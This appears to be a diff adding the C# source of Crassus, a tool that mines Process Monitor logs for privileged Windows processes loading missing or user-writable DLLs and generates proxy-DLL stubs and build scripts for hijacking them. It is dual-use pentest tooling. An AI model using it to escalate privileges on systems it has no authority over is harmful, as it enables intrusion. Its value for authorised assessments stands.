+ Logger.Debug("Checking if ACLs would allow writing to: " + path);
+
+ System.Security.AccessControl.DirectorySecurity accessControlList;
+ try
+ {
+ accessControlList = Directory.GetAccessControl(path);
+ }
+ catch
+ {
+ Logger.Debug("Failed to get access control list for " + path);
+ return false;
+ }
+ if (accessControlList == null)
+ {
+ Logger.Debug("Empty access control list for " + path);
+ return false;
+ }
+
+
+ System.Security.AccessControl.AuthorizationRuleCollection accessRules = null;
+ try
+ {
+ accessRules = accessControlList.GetAccessRules(true, true,
+ typeof(System.Security.Principal.SecurityIdentifier));
+ }
+ catch
+ {
+ Logger.Debug("Failed to get access rules for " + path);
+ return false;
+ }
+
+ if (accessRules == null)
+ {
+ Logger.Debug("Empty access access rules for " + path);
+ return false;
+ }
+
+
+ mySIDs.Add(mySID);
+
+ foreach (FileSystemAccessRule rule in accessRules)
+ {
+ if ((FileSystemRights.Write & rule.FileSystemRights) != FileSystemRights.Write)
+ //Logger.Info("Skipping non-write rule");
+ continue;
+
+ if (rule.AccessControlType == AccessControlType.Allow)
+ foreach (var SID in mySIDs)
+ {
+ if (mySIDs.Contains(rule.IdentityReference))
+ {
+ Logger.Debug("SID " + SID + " can write to " + path);
+ writeAllow = true;
+ }
+ }
+ else if (rule.AccessControlType == AccessControlType.Deny)
+ foreach (var SID in mySIDs)
+ {
+ if (mySIDs.Contains(rule.IdentityReference))
+ {
+
+ writeDeny = true;
+ }
+ }
+ }
+ if (!writeAllow || writeDeny)
+ {
+ pathsWithNoWriteACLs.Add(path);
+ }
+ }
+
+
+ return writeAllow && !writeDeny;
+ }
+
+ public static bool TryWritingToDir(string DirName)
+ // Attempt to create a file in a specified directory
+ {
+ Logger.Debug("Attempting to create a file in: " + DirName);
+ bool canWrite = false;
+ if (Directory.Exists(DirName))
+ {
+ Logger.Debug(DirName + " already exists...");
+ var myUniqueFileName = $@"{Guid.NewGuid()}.txt";
+ string FullPath = Path.Combine(DirName, myUniqueFileName);
+ //Logger.Info("Trying to create: " + FullPath);
+ try
+ {
+ StreamWriter stream = File.CreateText(FullPath);
+ stream.Close();
+ try
+ {
+ File.Delete(FullPath);
+ }
+ catch (Exception e)
+ {
+ // We're going to leave a file behind here. Live with it.
+ Logger.Debug("Failed to delete " + FullPath);
+ }
+ //Logger.Info("Success!");
+ canWrite = true;
+ }
+ catch (Exception e)
+ {
+ //Logger.Error("Failed");
+ }
+ }
+ else
+ {
+ Logger.Debug("Creating directory: " + DirName);
+ try
+ {
+ Directory.CreateDirectory(DirName);
+ canWrite = true;
+ }
+ catch
+ {
+ // Nothing
+ }
+ }
+ return canWrite;
+
+ }
+
+
+ private bool TestIfWritable(string pathname)
+ // Try to see if a file path is writable by first simply attempting to open it with write permissions
+ // This generally works, except Acronis anti-ransomware software will show that some files are writable
+ // by the current user, when they're actually not. So we fall back to actually writing metadata to a file
+ {
+ Logger.Debug("Checking to see if " + pathname + " is writable by the current user");
+ bool Writable = false;
+ try
+ {
+ // Check if a path is a directory, by checking its attributes
+ FileAttributes attr = File.GetAttributes(pathname);
+ if (attr.HasFlag(FileAttributes.Directory))
+ {
+ //Logger.Info(pathname + " is a directory!");
+ }
+ }
+ catch
+ {
+ // If we can't get a path's attributes, then there's not much we can do.
+ }
+ if (File.Exists(pathname))
+ {
+ try
+ {
+ FileSecurity fSecurity = File.GetAccessControl(pathname);
+ FileStream writableFile = File.OpenWrite(pathname);
+ writableFile.Close();
+
+ // The above should be good enough, but some AV software plays games where file ACLs allow
+ // a file to be opened for writing, but at some level will not allow the modification.
+ // This should be good enough to test actually writing to file metadata, with the same value.
+ DateTime lastAccess = File.GetLastAccessTime(pathname);
+ File.SetLastAccessTime(pathname, lastAccess);
+ Writable = true;
+ ;
+ }
+ catch
+ {
+ // Attempting to open a file with write permissions will throw an error if you won't be able to write to it.
+ }
+ }
+
+ return Writable;
+ }
+
+ private string FindMutableDirPart(string filePath)
+ // For any given path, see if it can be renamed, recursing up to the root
+ {
+ string dirPart = Path.GetDirectoryName(filePath);
+ if (dirPart.Length > 3)
+ {
+ if (!immutableDirParts.Contains(dirPart))
+ {
+
+
+ Logger.Debug("Checking if " + dirPart + " can be renamed...");
+ try
+ {
+ Directory.Move(dirPart, dirPart + "-test");
+ Directory.Move(dirPart + "-test", dirPart);
+ }
+ catch
+ {
+ immutableDirParts.Add(dirPart);
+ if (dirPart.Length > 3)
+ {
+ dirPart = FindMutableDirPart(dirPart);
+ }
+ else
+ {
+ //Logger.Info("Setting dirPart to empty string!");
+ dirPart = "";
+ }
+ }
+ }
+ else
+ {
+ dirPart = FindMutableDirPart(dirPart);
+ }
+ }
+ else
+ {
+ dirPart = "";
+ }
+
+ if (dirPart.Length > 3)
+ {
+ Logger.Debug("We can rename " + dirPart);
+ }
+ return dirPart;
+ }
+
+ private string LookForFileIfNeeded(string filePath)
+ {
+ Logger.Debug("Looking for: " + filePath);
+ // When we get a path it may be either x32 or a x64. As Crassus is x64 we can search in the x32 locations if needed.
+ if (File.Exists(filePath))
+ {
+ return filePath;
+ }
+
+ // There should really be a case-insensitive replace.
+ if (filePath.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.System), StringComparison.OrdinalIgnoreCase))
+ {
+ return Environment.GetFolderPath(Environment.SpecialFolder.SystemX86) + filePath.Remove(0, Environment.GetFolderPath(Environment.SpecialFolder.System).Length);
+ }
+ else if (filePath.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), StringComparison.OrdinalIgnoreCase))
+ {
+ return Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + filePath.Remove(0, Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Length);
+ }
+
+ // Otherwise return the original value.
+ return filePath;
+ }
+
+
+ public static class SafeWalk
+ {
+ public static IEnumerable EnumerateFiles(string path, string searchPattern, SearchOption searchOpt)
+ {
+ try
+ {
+ var dirFiles = Enumerable.Empty();
+ if (searchOpt == SearchOption.AllDirectories)
+ {
+ dirFiles = Directory.EnumerateDirectories(path)
+ .SelectMany(x => EnumerateFiles(x, searchPattern, searchOpt));
+ }
+ return dirFiles.Concat(Directory.EnumerateFiles(path, searchPattern));
+ }
+ catch (UnauthorizedAccessException ex)
+ {
+ return Enumerable.Empty();
+ }
+ }
+ }
+
+ private void ExtractExportFunctions()
+ {
+ Logger.Info("Extracting DLL export functions...");
+
+ PEFileExports ExportLoader = new PEFileExports();
+
+ List alreadyProcessed = new List();
+
+ foreach (KeyValuePair item in ConfirmedEventsOfInterest)
+ {
+ //Logger.Info(item.Value.Path);
+ // if (item.Value.Path.ToLower().EndsWith(".dll"))
+ // string fileExtension = Path.GetExtension(item.Value.Path);
+ string fileExtension = "";
+ try
+ {
+ fileExtension = Path.GetExtension(item.Value.Path.ToLower());
+ }
+ catch
+ {
+ continue;
+ }
+ if (libraryExtensionList.Contains(fileExtension))
+ {
+ if (alreadyProcessed.Contains(Path.GetFileName(item.Value.Path).ToLower()))
+ {
+ continue;
+ }
+ alreadyProcessed.Add(Path.GetFileName(item.Value.Path).ToLower());
+ Logger.Info("Finding " + Path.GetFileName(item.Value.Path), false, true);
+ string saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, Path.GetFileNameWithoutExtension(item.Value.Path) + ".cpp");
+
+ string actualLocation = "";
+ bool notFound = false;
+ if (item.Value.FoundPath == "")
+ {
+ string fileName = Path.GetFileName(item.Value.Path);
+ string fileMatch = null;
+ if (fileMatch != null)
+ {
+ actualLocation = fileMatch;
+ }
+ else
+ {
+ Logger.Warning(" - No DLL Found", true, false);
+ notFound = true;
+ }
+ }
+ else
+ {
+ actualLocation = LookForFileIfNeeded(item.Value.FoundPath);
+ }
+
+
+ if (!File.Exists(actualLocation))
+ {
+ //File.Create(saveAs + "-file-not-found").Dispose();
+ // Logger.Warning(" - No DLL Found", true, false);
+ // continue;
+ }
+
+ string actualPathNoExtension = "";
+ if (actualLocation != "")
+ {
+ actualPathNoExtension = Path.Combine(Path.GetDirectoryName(actualLocation), Path.GetFileNameWithoutExtension(actualLocation));
+ }
+ else
+ {
+
+ }
+
+
+ List exports = new List();
+ try
+ {
+ exports = ExportLoader.Extract(actualLocation);
+ }
+ catch (Exception e)
+ {
+ // Nothing.
+ }
+
+ //if (exports.Count == 0)
+ //{
+ // File.Create(saveAs + "-no-exports-found").Dispose();
+ // Logger.Warning(" - No export functions found", true, false);
+ // continue;
+ //}
+
+ //List pragma = new List();
+ //string pragmaTemplate = "#pragma comment(linker,\"/export:{0}=\\\"{1}.{2},@{3}\\\"\")";
+ List functions = new List();
+ string functionsTemplate = " void {0}() {{}}";
+ //List headerFunctions = new List();
+ //string headerFunctionsTemplate = "ADDAPI int ADDCALL {0}();";
+ List resourceFunctions = new List();
+ string resourceFunctionsTemplate = "{0} @{1}";
+ int steps = exports.Count() / 10;
+ if (steps == 0)
+ {
+ steps = 1;
+ }
+ int counter = 0;
+ foreach (FileExport f in exports)
+ {
+ string ExportName = "";
+ ExportName = f.Name;
+
+ if (++counter % steps == 0)
+ {
+ Logger.Info(".", false, false);
+ }
+ // Visual Studio:
+ // pragma.Add(String.Format(pragmaTemplate, ExportName, actualPathNoExtension.Replace("\\", "\\\\"), ExportName, f.Ordinal));
+ // MinGW
+ if (!ExportName.Contains("?") && !ExportName.Contains("@"))
+ {
+ // TODO: Maybe figured out how to handle mangled exports properly
+ functions.Add(String.Format(functionsTemplate, ExportName));
+ //headerFunctions.Add(String.Format(headerFunctionsTemplate, ExportName));
+ resourceFunctions.Add(String.Format(resourceFunctionsTemplate, ExportName, f.Ordinal));
+ }
+
+ }
+
+ // string fileContents = RuntimeData.ProxyDllTemplate.Replace("%_PRAGMA_COMMENTS_%", String.Join("\r\n", pragma.ToArray()));
+ string fileContents = RuntimeData.ProxyDllTemplate;
+ if (item.Value.Process.Is64 == 1)
+ {
+ fileContents = fileContents.Replace("//%_BUILD_AS%", "//BUILD_AS_64");
+ }
+ else
+ {
+ fileContents = fileContents.Replace("//%_BUILD_AS%", "//BUILD_AS_32");
+ }
+ fileContents = fileContents.Replace("%_EXPORTS_%", String.Join("\r\n", functions.ToArray()));
+ string baseName = Path.GetFileNameWithoutExtension(saveAs);
+ fileContents = fileContents.Replace("%_BASENAME_%", baseName);
+ baseName = Path.Combine(RuntimeData.ExportsOutputDirectory, baseName);
+ File.WriteAllText(saveAs, fileContents);
+ //saveAs = baseName + ".h";
+ //fileContents = RuntimeData.ProxyDllTemplateHeader.Replace("%_EXPORTS_%", String.Join("\r\n", headerFunctions.ToArray()));
+ //File.WriteAllText(saveAs, fileContents);
+ saveAs = baseName + ".def";
+ fileContents = RuntimeData.ProxyDllTemplateResource.Replace("%_EXPORTS_%", String.Join("\r\n", resourceFunctions.ToArray()));
+ File.WriteAllText(saveAs, fileContents);
+
+ if (!notFound)
+ {
+ Logger.Success(" OK", true, false);
+ }
+ }
+ else if (fileExtension == ".cnf")
+ {
+ string saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, "openssl.cnf");
+ string fileContents = Resources.ResourceManager.GetString("openssl.cnf");
+ File.WriteAllText(saveAs, fileContents);
+ saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, "calc.cpp");
+ fileContents = RuntimeData.ProxyDllTemplate;
+ // fileContents = RuntimeData.ProxyDllTemplate.Replace("%_PRAGMA_COMMENTS_%", "\r\n");
+ fileContents = fileContents.Replace("%_EXPORTS_%", "");
+ fileContents = fileContents.Replace("#include \"%_BASENAME_%.h\"", "");
+ if (item.Value.Process.Is64 == 1)
+ {
+ fileContents = fileContents.Replace("//%_BUILD_AS%", "//BUILD_AS_64");
+ }
+ else
+ {
+ fileContents = fileContents.Replace("//%_BUILD_AS%", "//BUILD_AS_32");
+ }
+ File.WriteAllText(saveAs, fileContents);
+ saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, "calc.def");
+ fileContents = RuntimeData.ProxyDllTemplateResource.Replace("%_EXPORTS_%", "");
+ File.WriteAllText(saveAs, fileContents);
+ }
+ }
+ if (ConfirmedEventsOfInterest.Count > 0)
+ {
+ // Write out helper scripts for compiling proxy DLLs with MinGW and Visual Studio
+ string fileContents = Resources.ResourceManager.GetString("build.sh");
+ // make shell script Linux-friendly
+ fileContents = fileContents.Replace("\r\n", "\n");
+ string saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, "build.sh");
+ File.WriteAllText(saveAs, fileContents);
+ fileContents = Resources.ResourceManager.GetString("build.bat");
+ saveAs = Path.Combine(RuntimeData.ExportsOutputDirectory, "build.bat");
+ File.WriteAllText(saveAs, fileContents);
+ }
+ }
+
+ private void SaveEventsOfInterest()
+ {
+ Logger.Info("Saving output...");
+
+ using (StreamWriter stream = File.CreateText(RuntimeData.CsvOutputFile))
+ {
+ stream.WriteLine(string.Format("Process, Parent Image Path, User-controllable Path, Found DLL, Integrity, Command Line"));
+ foreach (KeyValuePair item in ConfirmedEventsOfInterest)
+ {
+ stream.WriteLine(
+ string.Format(
+ "\"{0}\",\"{1}\",\"{2}\",\"{3}\",\"{4}\",\"{5}\"",
+ item.Value.Process.ProcessName,
+ item.Value.Process.ImagePath,
+ item.Value.Path,
+ item.Value.FoundPath,
+ item.Value.Process.Integrity,
+ item.Value.Process.CommandLine.Replace("\"", "\"\""))
+ );
+ }
+ }
+ }
+
+ private void IdentifySuccessfulEvents(List MissingDLLs)
+ {
+ if (MissingDLLs.Count() == 0)
+ {
+ Logger.Verbose("No DLLs identified - skipping successful event tracking");
+ return;
+ }
+
+ UInt32 counter = 0;
+ UInt32 steps = PMLog.TotalEvents() / 10;
+ if (steps == 0)
+ {
+ steps = 1;
+ }
+
+ Logger.Info("Trying to identify which DLLs were actually loaded...", false, true);
+ PMLog.Rewind();
+ do
+ {
+ if (++counter % steps == 0)
+ {
+ Logger.Info(".", false, false);
+ }
+
+ PMLEvent e = PMLog.GetNextEvent().GetValueOrDefault();
+ if (!e.Loaded)
+ {
+ break;
+ }
+
+ // Now we are looking for "CreateFile" SUCCESS events.
+ string p = e.Path.ToLower();
+ string fileExtension = "";
+ try
+ {
+ fileExtension = Path.GetExtension(e.Path.ToLower());
+ }
+ catch
+ {
+ continue;
+ }
+ if (!libraryExtensionList.Contains(fileExtension))
+ {
+ continue;
+ }
+ else if (e.Result != EventResult.SUCCESS)
+ {
+ continue;
+ }
+ else if (e.Operation != EventFileSystemOperation.CreateFile)
+ {
+ continue;
+ }
+
+ // If we are here it means we have found a DLL that was actually loaded. Extract its name.
+ string name = Path.GetFileName(p);
+ if (name == "")
+ {
+ continue;
+ }
+ //else if (!MissingDLLs.Contains(name))
+ //{
+ // // We found a SUCCESS DLL but it's not one that is vulnerable.
+ // //continue;
+ //}
+
+ // Find all events of interest (NAME/PATH NOT FOUND) that use the same DLL.
+ List keys = EventsOfInterest
+ .Where(ve => Path.GetFileName(ve.Key).ToLower() == name && ve.Value.FoundPath == "")
+ .Select(ve => ve.Key)
+ .ToList();
+
+ foreach (string key in keys)
+ {
+ PMLEvent Event = EventsOfInterest[key];
+ Event.FoundPath = e.Path;
+ EventsOfInterest[key] = Event;
+ }
+
+ MissingDLLs.Remove(name);
+ if (MissingDLLs.Count == 0)
+ {
+ // Abort if we have no other DLLs to look for.
+ break;
+ }
+ } while (true);
+ Logger.Info("", true, false);
+ }
+
+ private void FindEvents()
+ {
+ UInt32 counter = 0;
+ UInt32 steps = PMLog.TotalEvents() / 10;
+ if (steps == 0)
+ {
+ steps = 1;
+ }
+
+ Logger.Info("Searching events...", false, true);
+ PMLog.Rewind();
+ do
+ {
+ // We care about each of these things:
+ // 1) Privileged Create Process on a file that is itself or in a directory that is mutable by a non-privileged user
+ // 2) Privileged Load Library on a file that is itself or in a directory that is mutable by a non-privileged user
+ // 3) Privileged CreateFile on a file that does not exist
+ //
+ // The logic here is that anything that makes it past any of the "continue" conditions is added to EventsOfInterest
+ // For now, we're just looking at EXE and DLL files.
+
+
+ bool ProcessEvent = false;
+ string p = "";
+ if (++counter % steps == 0)
+ {
+ Logger.Info(".", false, false);
+ }
+
+ // Get the next event from the stream.
+ PMLEvent e = PMLog.GetNextEvent().GetValueOrDefault();
+ if (!e.Loaded)
+ {
+ break;
+ }
+
+ if (e.Process.ProcessName == "" || e.Path == "")
+ {
+ continue;
+ }
+
+ if (e.Process.ProcessName.ToLower() == "msmpeng.exe" || e.Process.ProcessName.ToLower() == "mbamservice.exe"
+ || e.Process.ProcessName.ToLower() == "coreserviceshell.exe" || e.Process.ProcessName.ToLower() == "compattelrunner.exe" && !e.Path.EndsWith("openssl.cnf"))
+ {
+ // Windows Defender and any antivirus can do things that look interesting, but are not exploitable
+ // e.g. looking for a non-existing EXE or DLL, but for scanning it, rather than running it.
+ // So we'll just ignore this whole process.
+ continue;
+ }
+
+ if (e.EventClass == EventClassType.Process)
+ {
+ ProcessEvent = true;
+ // Yes, Process_Create and Load_image aren't really FileSystem operations. But Spartacus wasn't originally designed
+ // with the concept of looking anything other than FileSystem oeprations, so...
+ if (e.Operation == EventFileSystemOperation.Process_Create)
+ {
+ // 1) Privileged Create Process on a file that is itself or in a directory that is mutable by a non-privileged user
+ if (e.Path.ToLower().EndsWith("\\microsoftedgeupdate.exe"))
+ {
+ // This seems to just be noise
+ continue;
+ }
+ }
+ else if (e.Operation == EventFileSystemOperation.Load_Image)
+ {
+ // 2) Privileged Load Library on a file that is itself or in a directory that is mutable by a non-privileged user
+ }
+ else
+ {
+ // A "Process" event, yet neither Load_image or Process_Create. Let's move on, as we don't care.
+ continue;
+ }
+ }
+
+
+ // We want a "CreateFile" that is either a "NAME NOT FOUND" or a "PATH NOT FOUND".
+ else if (e.EventClass == EventClassType.File_System)
+ {
+ p = e.Path.ToLower();
+ string fileExtension = "";
+ //Logger.Info("We have a filesystem event: " + p);
+ // We have a FileSystem event
+ if (e.Operation != EventFileSystemOperation.CreateFile)
+ {
+ // Throw out anything other than CreateFile
+ continue;
+ }
+ else if (p.EndsWith("openssl.cnf".ToLower()))
+ {
+ //Logger.Warning(p);
+ // Fine if it exists. We'll still check it...
+ }
+ else if (e.Result != EventResult.NAME_NOT_FOUND && e.Result != EventResult.PATH_NOT_FOUND)
+ {
+ // We've already got Load_image and Process_Create events. We don't care about existing files
+ continue;
+ }
+ else if (e.Path.ToLower().Contains("\\appdata\\local\\microsoft\\windowsapps\\")
+ || e.Path.ToLower().Contains("}-microsoftedge_") || e.Process.ProcessName.ToLower() == "mpwigstub.exe"
+ || e.Path.ToLower().EndsWith("\\msteamsupdate.exe") || e.Path.ToLower().EndsWith("\\msteams.exe"))
+ {
+ // More noise, apparently.
+ continue;
+ }
+ // By now, we are dealing with the legacy Crassus behavior: Looking for "interesting" things that are missing.
+ // But there are probably more interesting files than DLLs...
+
+ try
+ {
+ fileExtension = Path.GetExtension(p.ToLower());
+ }
+ catch
+ {
+ continue;
+ }
+ if (!libraryExtensionList.Contains(fileExtension) && !p.EndsWith(".exe".ToLower()) && !p.EndsWith("openssl.cnf".ToLower()))
+ {
+ continue;
+ }
+ }
+ else // Not a File_System event
+ {
+ // Must be something other than FileSystem or Process events. We don't care.
+ continue;
+ }
+
+
+ // At this point, we have loaded libraries, spawned processes, or missing files
+ // Only look at processes with higher than normal integrity
+ if (e.Process.Integrity == "Low" || e.Process.Integrity == "Medium")
+ {
+ continue;
+ }
+
+ p = e.Path.ToLower();
+
+ if (e.Process.ProcessName == "svchost.exe" && p.StartsWith("c:\\systemroot\\") && p.EndsWith(".sys"))
+ {
+ // This is an odd one for sure, but doesn't look to be exploitable
+ continue;
+ }
+
+ if (e.Process.ProcessName == "csrss.exe")
+ {
+ // csrss.exe stuff isn't interesting.
+ continue;
+ }
+
+ if (e.Process.ProcessName.ToLower() == "mpsigstub.exe")
+ {
+ // Defender update stuff. Ignore.
+ continue;
+ }
+
+ if (p.Contains("local\\microsoft\\onedrive\\"))
+ {
+ // Windows does things with OneDrive that look to be exploitable, but don't seem to be. Ignore these.
+ continue;
+ }
+
+ if (p.Contains("appdata\\local\\microsoft\\windowsapps\\backup"))
+ {
+ // This shouldn't be exploitable
+ continue;
+ }
+
+ // Don't add duplicates.
+ if (EventsOfInterest.ContainsKey(p))
+ {
+ continue;
+ }
+
+ EventsOfInterest.Add(p, e);
+ Logger.Debug(p);
+ } while (true);
+ Console.WriteLine("");
+ Logger.Info("Found " + String.Format("{0:N0}", EventsOfInterest.Count()) + " privileged events of interest...");
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Crassus/Manager.cs b/repos/Crassus/Crassus/Crassus/Manager.cs
new file mode 100644
index 000000000..5060e9ba0
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/Manager.cs
@@ -0,0 +1,89 @@
+using Crassus.ProcMon;
+using Crassus.Crassus.CommandLine;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Crassus.Crassus
+{
+ class Manager
+ {
+ public string GetPMCFile()
+ {
+ string pmcFile = Path.GetTempPath() + Guid.NewGuid().ToString() + ".pmc";
+ if (RuntimeData.ProcMonConfigFile != "")
+ {
+ // We need to see if we must inject the backing file into the passed configuration file.
+ if (RuntimeData.InjectBackingFileIntoConfig)
+ {
+ Logger.Info("Injecting --pml location into the --pmc file, as the latter has no backing file set.");
+ ProcMonPMC pmc = new ProcMonPMC(RuntimeData.ProcMonConfigFile);
+ RuntimeData.ProcMonConfigFile = pmcFile;
+ Logger.Info("New ProcMon configuration file will be: " + RuntimeData.ProcMonConfigFile);
+ pmc.GetConfiguration().Logfile = RuntimeData.ProcMonLogFile;
+ pmc.GetConfiguration().Save(pmcFile);
+ }
+ return RuntimeData.ProcMonConfigFile;
+ }
+ RuntimeData.ProcMonConfigFile = pmcFile;
+ Logger.Verbose("ProcMon configuration file will be: " + RuntimeData.ProcMonConfigFile);
+
+ // Otherwise we have to create our own here.
+ ProcMonConfig config = new ProcMonConfig();
+
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.TIME_OF_DAY, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.PROCESS_NAME, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.PID, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.OPERATION, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.PATH, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.RESULT, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.DETAIL, 100);
+ config.AddColumn(ProcMonConstants.FilterRuleColumn.ARCHITECTURE, 100);
+
+ // We don't add the Windows/Program Files directory because otherwise we won't be able to find
+ // the DLL that was actually loaded.
+ config.AddFilter(ProcMonConstants.FilterRuleColumn.OPERATION, ProcMonConstants.FilterRuleRelation.IS, ProcMonConstants.FilterRuleAction.INCLUDE, "CreateFile");
+ config.AddFilter(ProcMonConstants.FilterRuleColumn.PATH, ProcMonConstants.FilterRuleRelation.ENDS_WITH, ProcMonConstants.FilterRuleAction.INCLUDE, ".dll");
+ //config.AddFilter(ProcMonConstants.FilterRuleColumn.PATH, ProcMonConstants.FilterRuleRelation.BEGINS_WITH, ProcMonConstants.FilterRuleAction.EXCLUDE, "C:\\Windows");
+ //config.AddFilter(ProcMonConstants.FilterRuleColumn.PATH, ProcMonConstants.FilterRuleRelation.BEGINS_WITH, ProcMonConstants.FilterRuleAction.EXCLUDE, "C:\\Program Files");
+ config.AddFilter(ProcMonConstants.FilterRuleColumn.PROCESS_NAME, ProcMonConstants.FilterRuleRelation.IS, ProcMonConstants.FilterRuleAction.EXCLUDE, "procmon.exe");
+ config.AddFilter(ProcMonConstants.FilterRuleColumn.PROCESS_NAME, ProcMonConstants.FilterRuleRelation.IS, ProcMonConstants.FilterRuleAction.EXCLUDE, "procmon64.exe");
+
+ foreach (string executable in RuntimeData.TrackExecutables)
+ {
+ config.AddFilter(
+ ProcMonConstants.FilterRuleColumn.PROCESS_NAME,
+ ProcMonConstants.FilterRuleRelation.IS,
+ ProcMonConstants.FilterRuleAction.INCLUDE,
+ executable
+ );
+ }
+
+ config.Autoscroll = 0;
+ config.DestructiveFilter = 1;
+ config.Logfile = RuntimeData.ProcMonLogFile;
+
+ config.Save(RuntimeData.ProcMonConfigFile);
+
+ return RuntimeData.ProcMonConfigFile;
+ }
+
+ public void StartProcessMonitor()
+ {
+ string procMonArguments = $"/AcceptEula /Quiet /Minimized /LoadConfig \"{RuntimeData.ProcMonConfigFile}\"";
+
+ Process process = Process.Start(RuntimeData.ProcMonExecutable, procMonArguments);
+ process.WaitForInputIdle(5000);
+ }
+
+ public void TerminateProcessMonitor()
+ {
+ Process process = Process.Start(RuntimeData.ProcMonExecutable, "/AcceptEula /Terminate");
+ process.WaitForExit();
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Crassus/PEFileExports.cs b/repos/Crassus/Crassus/Crassus/PEFileExports.cs
new file mode 100644
index 000000000..ef017556d
--- /dev/null
+++ b/repos/Crassus/Crassus/Crassus/PEFileExports.cs
@@ -0,0 +1,188 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Crassus.Crassus
+{
+ class PEFileExports
+ {
+ /*
+ * Don't try and make sense of this file
+ * The PE Header read functionality was butchered to only obtain the relevant information.
+ */
+ private const int SIZEOF_IMAGE_DOS_HEADER = 64;
+ private const int SIZEOF_IMAGE_FILE_HEADER = 20;
+ private const int SIZEOF_IMAGE_NT_HEADERS32 = 248;
+ private const int SIZEOF_IMAGE_NT_HEADERS64 = 264;
+ private const int SIZEOF_IMAGE_EXPORT_DIRECTORY = 40;
+ private const int SIZEOF_IMAGE_SECTION_HEADER = 40;
+
+ private FileStream stream;
+ private BinaryReader reader;
+
+ private struct IMAGE_EXPORT_DIRECTORY
+ {
+ public UInt32 Characteristics;
+ public UInt32 TimeDateStamp;
+ public UInt16 MajorVersion;
+ public UInt16 MinorVersion;
+ public UInt32 Name;
+ public UInt32 Base;
+ public UInt32 NumberOfFunctions;
+ public UInt32 NumberOfNames;
+ public UInt32 AddressOfFunctions; // RVA from base of image
+ public UInt32 AddressOfNames; // RVA from base of image
+ public UInt32 AddressOfNameOrdinals; // RVA from base of image
+ }
+
+ public struct FileExport
+ {
+ public String Name;
+ public Int16 Ordinal;
+ }
+
+ public List Extract(string dllPath)
+ {
+ List exports = new List();
+
+ stream = File.Open(dllPath, FileMode.Open, FileAccess.Read);
+ reader = new BinaryReader(stream, Encoding.ASCII, false);
+
+ Int32 newExecutableHeader = GetNewExecutableHeader();
+ bool x32 = Is32bit(newExecutableHeader);
+ Int32 NumberOfSections = GetNumberOfSections(newExecutableHeader);
+ UInt32 VirtualAddress = GetVirtualAddress(newExecutableHeader, x32);
+ Int32 SectionOffset = GetSectionOffset(newExecutableHeader, x32, NumberOfSections, VirtualAddress);
+ Int32 ExportOffset = (int)(VirtualAddress - SectionOffset);
+ IMAGE_EXPORT_DIRECTORY ExportTable = GetImageExportDirectory(ExportOffset);
+ string[] Functions = GetFunctionNames(ExportTable, SectionOffset);
+ Int16[] Ordinals = GetOrdinals(ExportTable, SectionOffset);
+
+ for (int i = 0; i < Functions.Length; i++)
+ {
+ exports.Add(new FileExport { Name = Functions[i], Ordinal = Ordinals[i] });
+ }
+
+ reader.Close();
+ stream.Close();
+
+ return exports;
+ }
+
+ private Int32 GetNewExecutableHeader()
+ {
+ // Get the file address of the new executable header - https://www.pinvoke.net/default.aspx/Structures.IMAGE_DOS_HEADER
+ stream.Seek(SIZEOF_IMAGE_DOS_HEADER - 4, SeekOrigin.Begin);
+ return reader.ReadInt32();
+ }
+
+ private bool Is32bit(Int32 newExecutableHeader)
+ {
+ // Get the architecture - https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header
+ stream.Seek(newExecutableHeader + 4, SeekOrigin.Begin);
+ return reader.ReadUInt16() == 0x014c; // IMAGE_FILE_MACHINE_I386
+ }
+
+ private UInt16 GetNumberOfSections(Int32 newExecutableHeader)
+ {
+ stream.Seek(newExecutableHeader, SeekOrigin.Begin);
+ reader.ReadUInt32(); // Signature.
+ reader.ReadUInt16(); // Machine.
+ return reader.ReadUInt16();
+ }
+
+ private UInt32 GetVirtualAddress(Int32 newExecutableHeader, bool is32bit)
+ {
+ // Get the virtual address - IMAGE_NT_HEADERS32.IMAGE_OPTIONAL_HEADER32.IMAGE_DATA_DIRECTORY.VirtualAddress
+ stream.Seek(newExecutableHeader + 4 + SIZEOF_IMAGE_FILE_HEADER, SeekOrigin.Begin);
+ // 9 UInt16, 2 Bytes, 19 UInt32 - IMAGE_OPTIONAL_HEADER32
+ // 9 UInt16, 2 Bytes, 13 UInt32, 5 UInt64 - IMAGE_OPTIONAL_HEADER64
+ int skipBytesDependingOnMachine = is32bit ? ((2 * 9) + (2 * 1) + (19 * 4)) : ((2 * 9) + (2 * 1) + (13 * 4) + (5 * 8));
+ stream.Seek(skipBytesDependingOnMachine, SeekOrigin.Current);
+ return reader.ReadUInt32();
+ }
+
+ private Int32 GetSectionOffset(Int32 newExecutableHeader, bool is32bit, Int32 NumberOfSections, UInt32 VirtualAddress)
+ {
+ int sectionOffset = 0;
+ int sectionHeaderOffset = newExecutableHeader + (is32bit ? SIZEOF_IMAGE_NT_HEADERS32 : SIZEOF_IMAGE_NT_HEADERS64);
+ for (int i = 0; i < NumberOfSections; i++)
+ {
+ stream.Seek(sectionHeaderOffset, SeekOrigin.Begin);
+ reader.ReadBytes(8); // char[] * 8
+ UInt32 sectionImageVirtualSize = reader.ReadUInt32();
+ UInt32 sectionImageVirtualAddress = reader.ReadUInt32();
+ reader.ReadUInt32(); // SizeOfRawData
